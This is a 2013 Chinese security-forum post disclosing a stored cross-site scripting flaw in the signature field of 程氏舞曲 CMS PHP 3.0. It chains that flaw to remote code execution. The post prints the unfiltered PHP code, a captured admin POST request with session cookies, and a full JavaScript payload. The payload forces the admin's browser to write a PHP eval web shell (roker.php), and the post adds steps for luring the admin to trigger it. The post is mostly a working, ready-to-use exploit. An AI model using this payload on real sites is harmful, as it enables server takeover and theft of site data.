找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2506|回复: 0
打印 上一主题 下一主题

程氏舞曲CMSPHP3.0 储存型xss getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-6 18:09:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
这个cms 以前 90有人发了个getshell,当时 是后台验证文件的问题
& [1 A& Y7 M, l2 _官网已经修补了,所以重新下了源码
; m( ?1 T. L$ _4 Y因为 后台登入 还需要认证码 所以 注入就没看了。, A) e' a. O: U* Y: l8 m
存在 xss7 H9 V& g' r- [6 g
漏洞文件 user/member/skin_edit.php+ N7 i5 M& N# H3 f. L
本帖隐藏的内容<tr><td style="height:130px;"><span class="t"><i>*</i>签名:
& z! [  ~4 {! f3 `0 ~7 l' A% K  ( ^0 w# g( k: h' J
</span><textarea style="width:435px;height:120px;" id="content" name="CS_Qianm"><?php echo $cscms_qianm?>
8 h5 S/ }( t, L. \. p( p$ K. e3 Y  
# v& w+ @9 r; I3 ~# l1 X: k  C6 q</textarea></td></tr>
! N3 o; Y5 i; k+ p6 A) K1 [3 u  
- {6 O' l* e' j2 C! y7 N1 Z             user/do.php
( i  p# l' D9 L8 C7 L* ?2 C5 E& w# E- I9 I) @. Z
: b( A- ?* c% t3 y
if($op=='zl'){ //资料. G! _/ [* B6 A. ~) Z8 k
  
! h% p( n" X1 ]             if(empty($CS_QQ)||empty($CS_Nichen)||empty($CS_City)||empty($CS_Email)) * `7 Q0 ?$ ]" l" X9 T
             exit(Msg_Error('抱歉,请把资料填写完整!','javascript:history.go(-1);'));
9 S& [4 p. i  P  
  Y2 G2 m" w1 x2 K' q' t             $sql="update ".Getdbname('user')." set CS_Nichen='".$CS_Nichen."',CS_Email='".$CS_Email."',
4 I/ _' B. a  i- ~& p8 B2 W& I  2 W1 N" ^! J& x+ b( g
             CS_Sex=".$CS_Sex.",CS_City='".$CS_City."',CS_QQ='".$CS_QQ."',CS_Qianm='".$CS_Qianm."'
6 k1 }' h, E4 N" T9 m" ^4 C$ A8 ^             where CS_Name='".$cscms_name."'";
% P2 w) _- S5 T1 q' r  
1 W4 N. i# n6 l- N) Y; F' \             if($db->query($sql)){
" L$ X: F( L1 j3 j; G' M, n  
( @' I" h. K' H              exit(Msg_Error('恭喜您,修改成功了!','javascript:history.go(-1);'));
/ e' ?& p- ^4 d, T5 J: w( N- s4 t  ; a" A* G  S' t+ }) t/ p* _) K7 b
             }else{
! B9 x5 D' Z# \/ X* p  7 a3 L" q( I0 [
              exit(Msg_Error('抱歉,修改失败了!','javascript:history.go(-1);'));
. d$ h$ c4 w& D3 I* w- s0 G. U  ! y1 {. O6 Q9 i  U( B5 E7 q- ?
             }7 C0 }2 ~* h1 w. Y
8 `" j# ?6 Z- T7 o- _0 U4 P" Y

+ N$ y+ R8 P1 A% j2 X$ Z没有 过滤导致xss产生。
  |! [9 }2 e" P# w2 I" k后台 看了下 很奇葩的是可以写任意格式文件。。% h6 G2 p  }4 @0 U& b; J
抓包。。
4 J9 H! |' C, E8 G9 q( v$ p  g" o8 c& T
3 ]1 B- U: d1 g, t3 [2 t6 Y5 M+ Y
本帖隐藏的内容POST /admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/ HTTP/1.10 f, @" L- y1 `% ~- c
  * D" b: r9 t2 T: w4 ?% J- T
Accept: text/html, application/xhtml+xml, */*
# \' }9 L) \% _# ?5 y  ' l: R1 ?# a6 D5 e; {
Referer: http://127.0.0.1/admin/skins/ski ... l/&name=aaa.php
. q( e6 P; `; [7 r  b  $ H0 o) a7 J. q3 }3 J
Accept-Language: zh-CN$ b6 }' ^! v4 M9 X; S+ O
  
+ ~8 U/ Q; e+ S& P! c( xUser-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)1 @* ?5 U+ K* o& E
  * T0 E( N8 O% v5 x# N
Content-Type: application/x-www-form-urlencoded
+ h4 h! D' x; H% o1 E1 F! a/ J4 ^, x  , B6 f* S- k: R. r4 R
Accept-Encoding: gzip, deflate1 e2 d* W8 }# C% E
  2 {# u: m" o: Q: v. B# a( N6 ]
Host: 127.0.0.15 q* K1 M9 g3 z( m, ]$ U- v! u3 x5 F
    ~% }* r4 V6 o) u' [( c0 t
Content-Length: 38) N7 {; x' }3 g
  * Y9 Y$ Y, m7 e- p3 E. T9 b
DNT: 1
5 Q$ J0 I/ \8 X, \: c; k' x; G  / W2 U. Z0 \/ I
Connection: Keep-Alive0 _* p/ `, {; M  Z$ D* v
  
6 F% e( r1 `, B1 h+ m1 ?Cache-Control: no-cache6 m# @8 A$ ~5 d: l( h8 J) j8 }. L
  
7 D. ^# \  b) W) z. dCookie: CS_AdminID=1; CS_AdminUserName=aaaa; CS_AdminPassWord=12949e83a49a0989aa46ab7e249ca34d; CS_Quanx=0_1%2C1_1%2C1_2%2C1_3%2C1_4%2C1_5%2C2_1%2C2_2%2C2_3%2C2_4%2C2_5%2C2_6%2C2_7%2C3_1%2C3_2%2C3_3%2C3_4%2C4_1%2C4_2%2C4_3%2C4_4%2C4_5%2C4_6%2C4_7%2C5_1%2C5_2%2C5_3%2C5_4%2C5_5%2C6_1%2C6_2%2C6_3%2C7_1%2C7_2%2C8_1%2C8_2%2C8_3%2C8_4; CS_Login=980bb0dfb9c7ba8ac7676b6f4eea2c4b; CS_AdminUP=1; cs_id=2; cs_name=test; PHPSESSID=36db4a484bdbd090ad9846e3b7f65594
! s* n+ z# r4 s; c  
1 ~: d- U2 n* V0 E! Q' l$ {1 |, s. C- W8 ]
name=aaa.php&content=%3Cs%3E%3Ca%25%3E
+ o4 B4 [& L, i* S: y5 w- `& o, J" x% C* m( ^$ N/ R6 {1 Q2 c
3 O7 @7 Z3 g  c7 j' j- G2 |" D* k  G
3 ?/ l7 D# _* H: T
于是 构造js如下。
+ Z6 L! C; T+ P9 O, _& ]" L. B5 @* [. s9 i
本帖隐藏的内容<script> 6 m3 [* F4 {, C3 j
thisTHost = top.location.hostname;
9 U9 l, x) c- ]0 v  1 s" s$ g8 B' a9 l* z, y) v
thisTHost = "http://" + thisTHost + "/admin/skins/skins.php?ac=xgmb&op=go&path=../../skins/index/html/";$ V5 d+ X! V/ y# i% R. H
  
' ]. Q: }$ f) H1 r  r8 nfunction PostSubmit(url, data, msg) { ) k; _$ n$ A* i" T, {8 [0 F
    var postUrl = url;8 D9 O9 _) e# [. |# ]% H
  
+ g! y2 k8 `+ j9 k; D. t    var postData = data; 1 @! Y* ]8 _3 [7 x' I
    var msgData = msg; % s: R9 h) ?6 P% a  E
    var ExportForm = document.createElement("FORM"); ; q# }4 y0 `7 A/ E2 m% X2 h2 f& k
    document.body.appendChild(ExportForm);
  A& L6 d5 ^' z" U    ExportForm.method = "POST";
. M) X6 F* V9 t    var newElement = document.createElement("input"); . J4 [3 _! c5 k8 W
    newElement.setAttribute("name", "name"); 3 [  A9 Y3 H- J  }7 o
    newElement.setAttribute("type", "hidden"); 2 F5 Z- R+ x4 A! m9 j8 P
    var newElement2 = document.createElement("input");
# J- G3 e7 m" Y- _) K- @5 A: k8 N    newElement2.setAttribute("name", "content");
) S0 m5 r! k' H2 r) u    newElement2.setAttribute("type", "hidden"); ) F6 {7 }. f. W7 h$ a
    ExportForm.appendChild(newElement);
& S: P7 U' x8 z2 n/ }8 ?- k9 V    ExportForm.appendChild(newElement2); 8 W6 c$ k! B& d' ]
    newElement.value = postData; 9 C4 M1 c0 W* N
    newElement2.value = msgData; ) {! Y3 L+ R' l% |0 ]3 n9 ^0 ?
    ExportForm.action = postUrl; , w5 b$ f9 ]' o8 n- Q
    ExportForm.submit(); - H) A' {; u) H" R3 ]6 q0 U, @
};
: X8 R& g& r8 z$ x  
+ t' q, a) B1 ^0 e0 y+ \PostSubmit(thisTHost,"roker.php","<?php @eval($_POST[123]);?>");8 ?2 h9 N, y( g) q7 T
  ; g" @. n! S2 O! ^! ?
</script>
! L$ g/ W( T4 Y7 C
! ~) \' o, \% o
/ g( s" m2 ^& e% U" I8 u. X: A
7 l$ H1 V! i6 q- Z5 ^% Mhttp://127.0.0.1/user/space.php?ac=edit&op=zl 修改签名处 插入4 n! Y, K' `" [+ a, y* e" w. D6 ]6 I
用你的账号给管理写个 私信 或者让他访问  你的主页http://127.0.0.1/home/?uid=2(uid自己改)
7 ]" u; {' l& ?" g- D# T6 b就会 在 skins\index\html\目录下生成 roker.php 一句话。
# w3 G+ ]$ N3 _8 p" [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表